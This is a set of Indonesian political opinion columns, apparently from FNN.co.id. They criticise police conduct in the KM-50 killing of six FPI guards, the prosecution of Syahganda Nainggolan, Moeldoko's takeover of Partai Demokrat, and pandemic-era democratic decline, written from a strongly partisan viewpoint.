Rp224,040 termasuk pembayaran PKB pokok, PKB denda, SWDKLLJ pokok, dan SWDKLLJ denda. Ada kode ACH1M21B04AT di badan sepedamotor. Lengkap dan cepat sekali terkumpul informasi yang paling kecil sekalipun. Luar biasa. Dahsyat sekali kecepatan dan kelengkapan investigasi Pak Polisi untuk kasus bom Makassar. Patut diapresiasi. PEMBUNUHAN KM-50 Kita lihat kembali investigasi pembunuhan 6 pengawal Habib Rizieq Syihab (HRS) yang terjadi pada 7 Desember 2020. Penyelidikan dan penyidikan kasus ini sangat lambat. Padahal, Komnas HAM mengatakan ada tiga polisi yang terindikasi melakukan penembakan. Tetapi, sampai hari ini tiga polisi hanya dietetapkan sebagai terlapor. Entah apa alasan untuk tidak menjadikan mereka tersangka. Untuk menetapkan sebagai terlapor saja pun memakan waktu lama sekali. Padahal, Polisi mengakui bahwa anggota merekalah yang melakukan pembunuhan itu. Dan sudah punya bukti yang cukup. Hingga sekarang belum diungkap inisial ketiga polisi tsb. Ketika ditanyakan, para pejabat tinggi Kepolisian cenderung mengelak. Berat sekali mereka mengungkap nama-nama terlapor. Ketiga terlapor itu dibebastugaskan pada 10 Maret 2021. Hebatnya, proses penyelidikan yang bertele-tele ini pun dilanda kejanggalan yang menghina akal sehat. Seorang polisi terlapor dinyatakan meninggal dunia dalam kecelakaan tunggal pada 4 Januari 2021. Tak kalah anehnya, pengumuman tewas itu baru dilakukan pada 25 Maret 2021. Lucunya, Polisi malah menetapkan 6 korban pembunuhan sebagai tersangka. Meskipun langsung di-SP3-kan (dihentikan penyidikannnya). Betul-betul proses suka-suka hati. Rekaman CCTV peristiwa pembunuhan di KM-50 tidak lengkap. Banyak yang rusak seperti dikatakan PT Jasa Marga yang mengelola Jalan Tol Jakarta Cikampek. Dan yang rusak itu terjadi di segmen-segmen jalan tol yang krusial dalam peristiwa pembunuhan sadis ini. Juga sangat aneh, Polisi belum berhasil mengungkap mobil Land Cruiser warna gelap yang hadir di lokasi pembunuhan KM-50. Komnas HAM, dalam termuannya, menganggap mobil ini sangat perlu diungkap siapa saja yang ada di dalamnya waktu itu. Yang juga sangat janggal adalah tindakan penguasa menghancurkan ‘rest area’ di KM-50. Padahal, di lokasi ini diduga berat bisa ditemukan banyak barang bukti yang terkait dengan pembunuhan itu. Jadi, begitulah perbedaan besar kemampuan Polisi dalam mengungkap bom Makassar dan pembunuhan 6 laskar pengawal HRS. Di Makassar, Polisi sangat cepat, cekat, mulus. Sedang di KM-50, Polisi lambat dan sulit. Ada apa?[] (Penulis wartawan senior FNN.co.id)

Menghukum Dr. Syahganda Nainggolan=Menghina Bung Hatta dan Profesor Soepomo

by Dr. Margarito Kamis SH. M.Hum Agar sebuah masyarakat dianggap benar-benar demokratis, harus ada perlindungan dalam derajat tinggi untuk keperluan ide-ide dalam bentuk yang terpublikasikan, apakah mediumnya surat kabar, majalah, buku, pamphlet, film, televisi atau yang paling mutakhir internet. (John W. Johnson, Penulis Historic U.S Court Cases: Encyclopedia Second Edition, 2001). Jakarta FNN - Dr. Syahganda Nainggolan, dikenal luas sebagai pengeritik tangguh dan rasional terhadap pemerintahan Jokowi. Pikiran-pikirannya tersebar luas diberbagai media, terutama online. Pikiran-pikiran kritis itulah yang menjadi sebab utama dia ditangkap, ditahan lalu disidangkan. Menggelikan dan konyol, tetapi itulah kenyataannya. Dia akan menghadapi tuntutan jaksa. Seharusnya tuntutannya Jaksa Penuntut Umum telah disampaikan pada Kamis Minggu lalu. Tetapi sampai dengan jam sidang berlalu pada Kamis itu, Jaksa Penuntut Umum tak kunjung membacakan tuntutannya. Aneh Bin Ajaib Perkara ini, untuk semua alasan yang bisa digunakan, telah menempatkan jaminan konstitusional yang diatur dalam UUD 1945 untuk kebebasan berpendapat dan menyatakan pendapat berada dalam bahaya besar. Keangkuhan terlihat berada dibalik kegagalan penggunaan akal sehatnya. Kegagalan mengenal ide dan kehendak dasar pembentuk UUD 1945 dibalik jaminan konstitusional terhadap kebebasan berpendapat dan menyampaikan pendapat, terlihat jelas dalam perkara ini. Sama betul dengan kegagalan pemerintahan Bung Karno, dengan demokrasi terpimpinnya pada tahun 1963. Persis perkara Syahganda saat ini, Pemerintah Bung Karno juga menggunakan Polisi memperkarakan Buya Hamka. Sedikit berbeda dengan perkara Sahganda, perkara Buya Hamka sepenuhnya dikarang. Perkara yang dikarang polisi dari Departemen Kepolisian (DEPAK) kala itu adalah Buya Hamka ikut rapat gelap di Tangerang. Ini yang dijadikan materi pemeriksaan kepada Buya. Buya Hamka juga dituduh terlibat dalam Gerakan Anti Soekarno (GAS). Ini juga karangan keji dan primitif. Soedakso (Inspektur) Moeljo Koesomo (Inspektur), Soejarwo (Inpektur), Siregar (Inspektur) adalah pemeriksa-pemeriksa terhadap perkara “karangan” mereka. Menariknya mereka malah meminta Buya Hamka berkata, memberi jawaban “jujur” setiap kali diperiksa. Perkaranya dikarang, tetapi meminta Buya Hamka berkata jujur, itulah yang dilakukan polisi-polisi pemeriksa itu. Mereka malah memperlakukan Buya dengan kasar. Suara mereka meninggi kalau Buya memberi keterangan yang tidak sesuai ekspektasi mereka. Kotor dan menjijikan para polisi itu. Begitulah sejarah kecil tentang “karang-mengarang” kasus lalu dituduhkan kepada Buya Hamka. Hebatnya lagi perkara “karangan” itu dilakukan rekonstruksi. Buya Hamka dihadirkan juga ke TKP “karangan” mereka. Aneh meman. Tetapi begitulah kenyataannya. Kasus ini jelas beda dengan kasus yang didakwakankan kepada Dr. Syahganda. Kasus Syhaganda, untuk alasan apapun, nyata dan ada. Tetapi bukan disitu soalnya. Soalnya apakah peristiwa nyata itu beralasan hukum obyektif untuk dikualifikasi sebagai peristiwa pidana? Syahganda jelas mengekspresikan fikiran-fikirannya tentang beberapa isu yang sedang berkembang. Isu isi RUU Omnibus Cipta Lapangan Kerja, cukong-cukong pilkada, yang dinyatakan oleh Profesor Mahfud MD. Pernyataan Profesor Mahud MD, ini yang dikomentari lebih jauh oleh Syahganda dan dituliskan dalam WhatsApp-nya. Tidak itu saja, Syahganda memberi selamat kepada buruh yang akan berdemontrasi. Serta mengutip pula pernyataan Pak jendral (Purn) Gatot, tentang RUU Omnibus Cipta Lapangan Kerja.Perbuatan-perbuatan itulah yang dikualifikasi sebagai pidana. Perbuatan itu dikualifikasi secara spesifik sebagai “menyebarkan kabar bohong” yang menimbulkan “keonaran.” Aneh dan ajaib betul. Berpikir dan mengekspresikan isi pikirannya, tetapi dikualifikasi menyebarkan berita berbohong. Lucu. Menganalisis isi RUU dan mengekspresikan hasil pikiran atas isi RUU yang telah dianalisis “dikualifikasi” menyebarkan kebohogan. Ini konyol. Sebab orang-orang sekolahan tahu perbedaan sudut pandang menjadi kekuatan inti perkembangan ilmu pengetahuan. Perbedaan sudut pandang, termasuk pendekatan dalam dunia penegakan hukum juga menjadi esensi penegakan hukum. Dalam dunia hukum “teks” pasal atau ayat, harus ditafsir. Tafsir atas teks, dalam dunia ilmu hukum, karena perbedaan pendekatan, telah melahirkan begitu banyak konsep. Clasical originalism, modern originalism, isolasionism dan pragmatic enrichment, historical interpretation sekadar beberapa contoh hasil kongkrit perbedaan pendekatan tafsir. Orang Hukum benaeran, tahu tidak ada kata yang tidak memiliki makna. Kata memantulkan makna. Tidak ada teks yang tidak punya pijakan empiris, sebagai konteks teks. Konteks teks tak dapat diperiksa hanya atas dasar debat pembentukan teks itu. Tidak begitu. Sebab debat teks harus didalami hingga ke soal bagaimana, dalam suasana apa, dan peristiwa apa yang melatarbelakangi sekaligus sebagai inspirasi teks itu. Ini disebut metateks. Metateks menggambarkan kehendak asli pementuknya. Perkara ini, mau tak mau, suka atau tidak, JPU dan hakim harus memeriksa konteks sosial dan politik teks pasal 14 dan 15 UU Nomor 1 Tahun 1946. Terminologi “bohong dan onar” pasal 14 dan 15 UU Nomor 1 Tahun 1946 itu berakar pada keadaan sosial politik September 1945 hingga Februari 1946. Bohong ala Tan Malaka yang kemana-mana menyebarkan berita bahwa Bung Karno, Bung Hatta sdan Bung Sjkahrir telah ditangkap Inggris misalnya, itu bohong. Ini yang disebarkan, dan mengakibatkan timbulnya ketidakpastian di kalangan masyarakat. Ini memicu terjadi keonaran nyata di tengah masyarakat. Onar, dalam konteks ini, adalah cerminan dari tindakan-tindakan orang masuk keluar kampung, dengan beragam tujuan. Masuk keluar tentara Gurka di kampung-kampung, dengan tujuan yang tak jelas, itu onar. Pengejaran terhadap orang Bali misalnya, yang diprovokasi Belanda sebagai pencuri, pembuat onar dan seterusnya, itulah onar. Itulah yang dimamksud dengan onar pada teks pasal 14 UU Nomor 1 Tahun 1946. Sangat Tidak Beralasan Seriuh apapun sebuah demonstrasi, hukum tak dapat mengkualifikasinya sebagai peristiwa pidana, juga membuat onar. Sebabnya, hukum membenarkan demonstrasi. Kalau ada demonstran yang merusak dan sejenisnya, perbuatan merusak itu yang berkualifikasi pidana. Bukan demonstrasinya. Hukum juga tidak menunjuk analisis kritis yang disebarkan sebagai pidana. Bagaimana jadinya dunia ini andai tidak ada lagi orang bisa berpikir? Macam apa dunia tanpa orang yang berpikir kritis, dan mengekspresikan hasil pemikirannya? Mau ciptakan dunia khas fir’aun? Tuhan jadi-jadian itu? Fir’aun begitu pada pikiran cerdas. Itu sebabnya dia memburu Nabi Musa Alaihissalam, yang fikirannya menantang klaim konyol nan bodohnya Fir’aun sebagai Tuhan. Galileo Gelilei harus menjalani hukuman, hanya karena pikirannya bertentangan dengan kenyataan yang telah diyakini penguasa. Dia dituduh membuat pernyataan yang menyangkal kebenaran yang telah terlembaga oleh penguasa. Andai kasus ini terjadi di Indonesia saat ini, Galileo mungkin akan dituduh dan disidangkan, persis seperti Syahganda, menyebarkan berita bohong dan bikin onar. Matinya ide-ide, sama dengan matinya kehidupan di dunia. Seba dunia hanya akan dihuni oleh kambing, kerbau, babi hutan, singa dan lainnya. Tidak ada diantara hewan-hewan ini yang membutuhkan sistem hukum, sistem politik, partai politik, kebebasan berpendapat dan sejenisnya. Sebegitu pentingnya ide-ide kritis itu, sehingga Muh. Hatta, harus habis-habisan meyakinkan Profesor Soepomo, Ketua Tim Pembentuk UUD 1945 agar UUD yang sedang dirancang itu memberi jaminan kepada setiap orang berkumpul mengeluarkan pikiran dan menyatakan pendapatnya. Waras dan hebat. Sebagai orang terpelajar, Bung Hatta tahu bahaya nyata penguasa tanpa kontrol. Karena pentingnya kontrol itu, maka wajib diberi jaminan konstitusional dalam UUD. Hasilnyas usahanya adalah lahirnya Pasal 27 UUD 1945. Esensi ide Bung Hatta itu, kini dikukuhkan pada pasal 28E ayat (2) UUD 1945. Bung Hatta bukan tidak tahu bahwa organ-organ pengawasan, khususnya DPR, telah diberi fungsi itu. Tetapi baginya itu tak cukup. Rakyat harus diberi kepastian dapat berpikir kritis. Hasil pikirannya itu diekspresikannya secara terbuka sebagai cara mereka mengawasi jalannya pemerintahan. Hanya picik yang belajar ilmu hukum di pinggir jalan dan pasar loakan saja yang bisa diandalkan untuk mengisolasi konsep kebebasan berpendapat yang diatur dalam UUD 1945 sebatas hal yang dibolehkan pemerintah. Hanya politik busuk saja yang dapat dipakai mengkategorikan analisis terhadap isi RUU, apapun itu, dan mendukung demonstrasi sebagai perbuatan pidana. Politik, andal dalam mengubah sesuka-sukanya sesuatu yang tidak bertentangan dengan hukum menjadi bertentangan dengan hukum. Politik pulalah yang mampu menemukan pembenaran atas tindakan-tindakan sah, berubah dan dikategorikan sebagai tindak pidana. Politik kotor tidak pernah bekerja dengan akal sehat. Sama sekali tidak. Politik kotor bekerja dengan motif tunggal “mengamankan kekuasaan”, dengan semua cara yang dapat dibayangkan. Tidak lebih. Itu yang dapat dijelaskan dari tuduhan “kasus karangan” terhadap Buya Hamka. Keadilan dalam lingkungan politik kotor, persis yang dipresentasikan Nazi Hitler. Keadilan jenis Hitler tidak punya karakter lain, selain apa yang didefenisikannya. Keadilannya sangat partisan. Sangat personal. Hitler tersinggung saja, anda habis. Padahal Hitler itu berkuasa melalui proses demokrasi. Pertimbangan politik, terlihat secara hipotetikal menjadi sebab terbesar yang dominan membawa kasus Syahganda ke jalan pidana. Diluar itu tidak ada. Juga tak ada jalan rasional hukum yang bisa diandalkan membawa kasus Syahganda ke pidana, apalagi dipidana. Ini bukan keadilan khas impian Bung Hatta dan Profesor Soepomo. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Moeldoko, Partai Demokrat dan Politik Nir-Etika

by Mochamad Toha Surabaya, FNN - Dari ksatria menjadi “pengkhianat”; dan dari tokoh protagonis menjadi antagonis. Ungkapan-ungkapan itu yang kini sedang “disandang” Kepala Sekretariat Presiden (KSP) Moeldoko. Semua julukan tersebut tidak lepas dari kiprah Moeldoko menjungkalkan Agus Harimurty Yudhoyono (AHY) dari kursi Ketum Partai Demokrat melalui Kongres Luar Biasa (KLB) yang dilangsungkan di Deliserdang, Sumatera Utara. KLB itu ditengarai tidak dilandasi etika, terutama etika keprajuritan. Apa yang melandasi “kudeta” Moeldoko terhadap AHY, dan juga Susilo Bambang Yudhoyono (SBY), tentu hanya Moeldoko saja yang mengetahui. Namun, cara serampangan yang dilakukan Moeldoko Cs itu tak pelak telah membuat rakyat Indonesia geram. Moeldoko dianggap sebagai “anak durhaka”. Dibesarkan oleh SBY ketika menjabat sebagai Presiden RI untuk menduduki kursi KSAD, dan Panglima TNI, Moeldoko justru “bermain api” dengan ngobok-obok Partai Demokrat. Partai yang membesarkan dan dibesarkan SBY itu sekarang terbelah dua. Hanya pembuktian legalistik saja yang dapat menjawab siapa sesungguhnya yang berhak atas Partai Demokrat. Tidak hanya sekadar pembuktian de facto. Pembuktian secara de yure pun harus dilakukan. Coba kita lihat AD/ART Partai Demokrat hasil Munas 2020 yang telah disahkan Menkumham Yasonna H. Laoly. Pun kepengurusan DPP yang diketuai oleh AHY, putra sulung Presiden RI ke-6 SBY. Memang, dalam politik, ternyata dibutuhkan politik “silat lidah”. Itu dibutuhkan saat posisi terdesak. Segala jurus silat lidah harus dicoba. Tidak hanya jurus yang masuk akal. Jurus yang sesuai dengan AD/ART Partai Politik terbaru yang disahkan Menkumham. Namun, jurus silat lidah yang tak masuk akal pun bisa merangsang pengamat dan masyarakat untuk tertawa ngakak, juga perlu dicoba. Siapa tahu dari jurus tidak masuk akal itu, ternyata justru mendatangkan keberuntungan atas pelanggaran UU Parpol yang dimiliki NKRI. Terutama, yang dilakukan kelompok penyelenggara KLB Demokrat abal-abal di Deliserdang itu. Dan, itu yang terjadi dan digunakan oleh Ketum Partai Demokrat versi KLB Deliserdang, Moeldoko. Padahal, penyelenggaraan KLB Partai Demokrat itu melanggar AD/ART Partai Demokrat hasil Munas 2020, yang telah disahkan Menkumham Yasonna H. Laoly. Pun kepengurusan DPP yang diketuai oleh AHY. Moeldoko mengaku bersedia dipilih Ketum Partai Demokrat versi KLB Deliserdang, karena mengkudeta kepemimpinan AHY merupakan salah satu cara untuk menyelamatkan negara. Menyelamatkan NKRI. Pertanyaan pengamat yang kini bertebaran di langit, apakah Partai Demokrat itu partai milik negara. Sehingga dikaitkan dengan keselamatan negara? Alasan Moeldoko terlalu mengada-ada hingga bisa diketawain pengamat. Kedua, jika tujuan untuk keselamatan negara, lalu siapa subyek yang mengancam NKRI? Mengapa harus "merampas" Partai Demokrat. Apa kaitan nalarnya antara merampas Partai Demokrat dengan keselamatan negara? Itu jelas sebuah argumen yang jauh nalar dari etika politik. Tak hanya itu, jika “merampas” Partai Demokrat dikaitkan dengan keselamatan negara, maka pendapat Moeldoko ini harus dibuktikan secara hukum. Jelas, pendapat tersebut, secara hukum sama dengan penilaian pribadi jika partai yang dibesarkan SBY itu merupakan “ancaman bagi negara”. Ironisnya, jika pendapat perampasan Partai Demokrat demi keselamatan negara, tak dapat dibuktikan secara hukum. Jika ingin menyelamatkan negara, seharusnya Moeldoko memilih parpol yang jelas-jelas ada niat untuk “memeras” Pancasila menjadi Trisila dan Ekasila. Tak berani? Pensiunan Jenderal dan Panglima TNI koq tak berani “ambil-alih” parpol wong cilik itu. Bukan kemuskilan, tim pengacara demokrasi yang dipimpin Bambang Widjojanto tersebut berkesempatan untuk melakukan gugatan hukum pada Moeldoko sebagai Ketum Demokrat versi KLB Deliserdang. Atas ulah Moeldoko, DPP Partai Demokrat melalui tiga perwakilannya telah secara resmi melaporkan KSP Moeldoko ke Ombudsman RI pada Selasa (23/3/2021). Ketiganya adalah Taufiqurrahman, Ahmad Usmarwi, dan Parulian Gultom. Tiga politikus ini telah menuding bahwa Moeldoko telah melakukan pelanggaran yang dapat dikualifikasikan sebagai maladministrasi. Moeldoko diduga keras telah melanggar tugas, pokok, dan fungsi (Tupoksi) selaku KSP. Di mana seharusnya, KSP bertugas untuk menyelenggarakan dukungan kepada Presiden dan Wakil Presiden perihal komunikasi politik. Seperti disebutkan dalam Pasal 3 huruf g Perpres 83 Tahun 2019 tentang KSP bahwa KSP menyelenggarakan fungsi sebagai pengelolaan strategi komunikasi politik dan diseminasi informasi. Namun faktanya Moeldoko turut menghadiri dan menerima penunjukan selaku Ketua Umum dari pertemuan di Hotel The Hill Sibolangit yang secara sepihak dinyatakan atau diklaim oleh panitia dan peserta sebagai KLB Partai Demokrat. Padahal, Moeldoko tidak pernah menjadi kader Partai Demokrat. Selain itu dia melalui siaran persnya telah membantah keterkaitannya dengan proses kudeta atau proses pengambilalihan kepemimpinan Partai Demokrat. Moeldoko seperti dikutip Rmol.id juga sempat menyatakan bahwa dia tak tahu menahu sama sekali akan adanya kudeta atau pengambilalihan kepemimpinan di Partai Demokrat. “Berdasarkan fakta itu, terbukti secara meyakinkan bahwa Moeldoko patut diduga keras telah melakukan kebohongan publik,” urai Taufiqurrahman, Rabu (24/3/2021). Sementara jika dikaitkan dengan tupoksi Moeldoko sebagai KSP, maka yang bersangkutan patut diduga keras telah melanggar tupoksi sebagai KSP karena melakukan kebohongan publik, bahkan dengan mengenakan atribut selaku KSP. Moeldoko tidak pernah melakukan komunikasi langsung dengan pimpinan Partai Demokrat yang sah secara hukum dan telah memperoleh pengesahan atau persetujuan sebagaimana di dalam SK Kemenkumham pada 18 Mei 2020 dan telah diterbitkan dalam berita negara. Patut diduga keras juga bahwa komunikasi Moeldoko hanya dilakukan kepada pihak panitia dan penyelenggara pertemuan di Hotel The Hill Sibolangit yang sudah bukan kader Partai Demokrat. Artinya, Moeldoko diduga keras telah melakukan diskriminasi. Bahkan, “Patut diduga keras Moeldoko tidak pernah melaporkan kegiatan politiknya kepada Presiden Jokowi sebagai atasannya,” sambung Taufiq. Singkatnya, Moeldoko itu diduga keras telah melanggar Perpres KSP, menyalahgunakan wewenang karena di saat jam kerja melakukan kegiatan politik di luar tupoksi KSP, dan melakukan kebohongan publik. Moeldoko diduga telah melakukan komunikasi politik sepihak yang mengakibatkan keributan dan menimbulkan kerugian sangat besar bagi Partai Demokrat. Penulis adalah Wartawan Senior FNN.co.id.

Negara Tidak Boleh Kalah Dengan Polisi

MASIH teringat dengan jelas aparat keamanan tampil gagah penuh percaya diri di depan kamera mengumumkan kematian 6 laskar FPI di KM 50 jalan tol Jakarta-Cikampek, pada 7 Desember 2020 lalu. Mereka mengakui telah membunuhnya. Aparat keamanan itu adalah Kapolda Metro Jaya, Irjen Fadhil Imron dan Pangdam Jaya, Mayjen TNI Dudung Abdurrachman didampingi beberapa staf penjaga keamanan DKI yang solid. Kini, sudah 123 hari sejak pengumuman heroik itu dikumandangkan, toh tak menunjukkan kemajuan yang berarti. Identitas pembunuhnya tak pernah dimunculkan ke publik, saksinya juga gelap, dan cara membunuhnya juga berubah-ubah. Yang terjadi justru Tempat Kejadian Perkara (TKP) diobrak-abrik, wartawan dilarang meliput, dan publik dicekoki berita rekayasa. Diperparah dengan opini buzzer yang menyesatkan. Komnasham yang diharapkan bisa mengungkap kejadian yang sesungguhnya secara adil dan transparan, malah melempem bahkan membebek keterangan polisi sebelumnya. Padahal mereka digaji negara untuk bekerja fair, profesional, dan independen. Belakangan muncul informasi baru. Kata polisi, salah satu terlapor algojo pembunuh 6 laskar FPI berinisial EPZ tewas kecelakaan di Jalan Bukit Jaya, Kecamatan Setu, Tangerang Selatan. Namun setelah dicek, lokasi itu bohong belaka. Boye, seorang tukang parkir yang sudah 10 tahun mangkal, menyatakan tidak ada Jalan Bukit Jaya, adanya Bakti Jaya. Bantahan juga disampaikan oleh Kapolsek Setu, AKP Dedi Herdiana bahwa dirinya tidak pernah mendapat laporan ada anggota polisi meninggal di wilayah itu. Kejanggalan lain adalah inisial EPZ adalah Elwira Priadi Zendrato yang dalam penelusuran sebelumnya tidak pernah ada nama itu. Tiga anggota Polri yang diduga sebagai eksekutor anggota laskar FPI adalah Brigadir Satu Fikri Ramadhan Tawainella, Brigadir Kepala Faisal Khasbi Alaeya, dan Brigadir Kepala Adi Ismanto. Ajaib, muncul nama baru Elwira Priadi Zendrato meninggal 4 Januari 2021 pukul 23.45 WIB, tetapi baru diumumkan 26 Maret 2021. Keanehan lainnya adalah penetapan 6 laskar FPI yang tewas, sebagai tersangka. Sontak saja keluarga dan masyarakat geram atas penetapan status ini. Tak kuat mendapat kecaman keras dari masyarakat, sehari kemudian status itu digugurkan dengan alasan pelakunya sudah meninggal dunia. Plintat plintut kan? Skenario demi skenario terus disusun dengan cermat dan hati hati. Toh dalam perjalanannya ada saja batu sandungan. Informasinya berubah-ubah. Perubahan terjadi mungkin karena tidak sesuai dengan arahan sutradara atau ada kejanggalan jalan cerita yang muncul belakangan. Ini bisa terjadi lantaran skenario disusun dengan deadline yang ketat. Maka, wajar jika hasilnya kurang sempurna. Tapi sadarlah, sehebat apa pun skenario yang dibuat manusia, jika didasari ketidakjujuran untuk membungkus kejahatan, Insyaa Allah, kelak akan terbuka seterang-terangnya. Tak ada yang tersembunyi di hadapan Allah. Azab menunggu baik di dunia maupun akhirat. Wahai sang pembunuh, apa yang membuat Anda yakin bahwa perbuatan keji itu tak akan terungkap? Sehebat apa Anda memanfaatkan oknum-oknum polisi untuk terus bersandiwara mengikuti arah telunjuk Anda digerakkan? Sekuat apakah keyakinan Anda bahwa perbuatan Anda pasti tidak ada yang bisa mengungkap. Ingat, tidak ada satu pun agama dan keyakinan yang membolehkan membunuh manusia tanpa alasan. Dalam Islam sudah jelas larangan membunuh nyawa yang diharamkan Allah kecuali dengan kebenaran. Dalam QS. al-An'am: 151 disebutkan barangsiapa yang membunuh seorang manusia, bukan karena orang itu (membunuh) orang lain, atau bukan karena membuat kerusakan di muka bumi, maka seakan-akan dia telah membunuh manusia seluruhnya. Kristen, dalam Lukas 18:20 dikatakan, ”Engkau tentu mengetahui segala perintah Allah: jangan berzinah, jangan membunuh, jangan mencuri, jangan mengucapkan saksi dusta, hormatilah ayahmu dan ibumu.” Budha demikian juga. Dalam salah satu sloka ajaran Veda dikatakan bahwa dharma tertinggi adalah ahimsa. Ahimsa berasal dari kata “a” yang artinya tidak dan “himsa” yang artinya membunuh. Sehingga mereka mengatakan bahwa ahimsa artinya tidak membunuh. Hindu mengajarkan kepada umatnya agar tidak melakukan pembunuhan sewenang-wenang kepada mahluk hidup yang lain, karena pembunuhan yang dilakukan sewenang-wenang berakibat dosa atau himsa karma. Binatang saja kalau mau disembelih ada ritualnya, adab, dan doanya. Pembunuhan 6 laskar FPI secara keji kok dikesankan wajar dan boleh. Pembolehan ini tampak jelas pada sikap dan moral pejabat republik ini. Tak ada ucapan duka dari Presiden. Tak ada bela sungkawa dari wapres. Tak ada simpati dari menteri agama, dan tak ada empati dari loyalis buta tuli rezim ini. Membunuh 6 laskar anak muda seakan menabrak barisan bebek yang melintas di jalan. Kaget sesaat lalu kabur dan menghilang. Keterangan polisi yang plintat-plintut dalam membongkar kasus unlawfull killing ini justru semakin memunculkan dugaan publik bahwa sang oknum sedang merekayasa kasus agar pelaku sebenarnya tak terungkap. Polisi bekerja sangat tidak adil. Bandingkan kerja polisi dalam kasus pembunuhan 6 laskar FPI dengan pengungkapan bom bunuh diri di Makassar, 28 Maret 2021. Sungguh bertolak belakang. Dalam kasus ini polisi kerja cerdas, cepat, dan cermat. Kurang dari 24 jam identitas pelaku bom di pagar Gereja Katedral Makassar dibongkar. Langsung ketemu, Lukman namanya. Semua info tentang Lukman diblejeti habis, termasuk surat wasiat dan masa lalunya. Cepat sekali. Ada kesan identitas sudah disiapkan sebelum kejadian, seakan polisi tinggal membacakan saja. Hanya istrinya yang mati bersamaan belum diungkap. Bersamaan dengan pengungkapan identitas oleh polisi, kawanan buzzer berjamaah turut pula membongkar pelaku teror. Ada amunisi baru untuk menyerang Islam. Entah info dari mana, seakan mereka teman sekamar teroris sehingga tahu detail sang peneror. Para pendengung terus menebar dan menyebar fitnah. Tak puas rasanya kalau tidak mengaitkan teroris dengan agama Islam. Padahal MUI sudah mengatakan terorisme ada di semua agama. Gatal rasanya kalau tidak membangun opini teroris beririsan dengan FPI. Pokoknya dengungkan dulu, pembuktian belakangan. Potongan-potongan informasi dijahit menjadi satu narasi yang panjang, seakan-akan logis. Tujuannya jelas, merusak agama Islam Padahal, Australia Security and Intelligence Organisation (ASIO) atau BIN-nya Australia memutuskan tidak lagi menggunakan istilah Teroris Islam dalam menggambarkan kekerasan yang dimotivasi agama atau gerakan politik. Ketua ASIO, Mike Burgess, menganggap “kata-kata” itu penting dan berpengaruh dalam membentuk pandangan setiap orang dalam melihat masalah. Karena itu, menurutnya, penggunaan istilah “Teroris Islam” selama ini telah merusak dan menyesatkan umat Islam. Polisi sebagai Abdi Negara seharusnya bisa menjaga harga diri Republik ini biar tidak cemar. Rusak negara ini kalau polisi seenaknya. Bekerjalah profesional, transparan, dan jujur. Negara tidak boleh kalah dengan polisi. (sws)

Tirani Pandemi

by Zainal Bintang Jakarta FNN - Sarah Repucci dan Amy Slipowitz menulis artikel berjudul “Democracy Under Lockdown” : The Impact of Covid 19 on the Global Struggle for Freedom” pada bulan Oktober 2020 lalu. Kedua ilmuwan wanita asal Amerika itu menanggapi serius hasil penelitian Freedom House dengan menuliskan, bahwa tidak hanya demokrasi melemah di 80 negara. Tetapi masalahnya sangat akut di negara-negara demokrasi yang sedang berjuang dan negara-negara yang sangat represif. Pemerintah telah menanggapi dengan terlibat dalam penyalahgunaan kekuasaan. Membungkam kritik mereka, dan melemahkan atau menutup lembaga-lembaga penting. Seringkali merusak sistem akuntabilitas yang diperlukan untuk melindungi kesehatan masyarakat. Kesimpulan penelitian Freedom House baru tentang dampak Covid 19 pada demokrasi dan hak asasi manusia tersebut dihasilkan dalam kemitraan dengan perusahaan survei GQR. Sebuah perusahaan riset dan kampanye politik yang bermarkas di Washington D.C. Amerika Serikat. Berdasarkan survei terhadap 398 jurnalis, pekerja masyarakat sipil, aktivis, dan pakar lainnya serta penelitian di 192 negara oleh jaringan analis global Freedom House. Laporan ini adalah yang pertama dari jenisnya dan upaya paling mendalam hingga saat ini. Kedua ilmuwan itu menegaskan, penelitian tersebut sangat mendukung hipotesis bahwa pandemi Covid19 memperburuk penurunan kebebasan selama 14 tahun berturut-turut. Tidak hanya demokrasi melemah di 80 negara. Tetapi masalahnya sangat akut di negara-negara demokrasi yang sedang berjuang dan negara-negara yang sangat represif. Dengan kata lain, pengaturan yang telah memiliki perlindungan yang lemah terhadap penyalahgunaan kekuasaan menjadi yang paling menderita. Temuan ini menggambarkan luas dan dalamnya serangan terhadap demokrasi. Seperti yang dikatakan salah satu responden di Kamboja, “pemerintah menjadikan virus corona sebagai kesempatan untuk menghancurkan ruang demokrasi”. Gambarannya terlihat suram, kata Joshua Kurlantzick, peneliti senior untuk Asia Tenggara di Council on Foreign Relations. Sejak wabah dimulai, kondisi demokrasi dan hak asasi manusia semakin memburuk di 80 negara. Dimana pemerintah telah menggunakan Covid 19 sebagai dalih untuk menutup oposisi. Meminggirkan kelompok minoritas, dan mengontrol informasi, tulisnya dalam artikel di Japan Times (Jan 13, 2021) berjudul “Covid 19 Batters Asia’s Already-Struggling Democracies”. Mengomentari hasil penelitian “Freedom House” itu, Joshua mengatakan, pandemi virus corona baru hanya memperburuk kerusakan demokrasi. Memperdalam krisis demokrasi di seluruh dunia. “Memberikan perlindungan bagi pemerintah untuk mengganggu pemilu, membungkam kritik dan menekan, dan merongrong akuntabilitas yang dibutuhkan untuk melindungi hak asasi manusia serta kesehatan masyarakat”. Menurut Joshua, selama lima belas tahun terakhir, demokrasi di seluruh Asia telah mengalami kemunduran. Meskipun kawasan ini masih memiliki demokrasi yang kuat seperti Korea Selatan, Jepang, dan Taiwan, banyak negara demokrasi Asia terkemuka lainnya dan negara-negara dengan potensi demokrasi telah tergelincir ke belakang. Berubah menjadi negara yang hampir otokrasi atau negara otoriter langsung. Sarah Repucci dan Amy Slipowitz menegaskan, diantara responden survei, 27 persen melaporkan penyalahgunaan kekuasaan oleh pemerintah sebagai salah satu dari tiga masalah yang paling terpengaruh oleh wabah virus corona. Pejabat dan layanan keamanan melakukan kekerasan terhadap warga sipil. Menahan orang tanpa alasan, dan melanggar kewenangan hukum mereka. Pemerintah kemudian mengeksploitasi kekuatan darurat ini untuk mencampuri sistem peradilan. Memberlakukan pembatasan yang belum pernah terjadi sebelumnya pada lawan politik, dan merusak fungsi legislatif yang krusial. Seperti yang dikatakan salah satu responden tentang Turki, "Coronavirus digunakan sebagai alasan bagi pemerintah yang sudah menindas untuk melakukan hal-hal yang telah lama direncanakan, tetapi belum dapat”. Ekses buruk wabah pandemi Covid 19 terhadap kehidupan masyarakat dunia, khususnya di Indonesia, diperparah munculnya pandemi lain yang menumpang di atasnya. Merebaknya hoaks dan fitnah yang terorganisir oleh buzzer maupun influenzer. Mereka bekerja menekan suara kritis masyarakat yang resah kurang tersentuh kebijakan mitigasi negara. Misalnya, akibat maraknya praktik korupsi pejabat pemerintah di tingkat menteri. 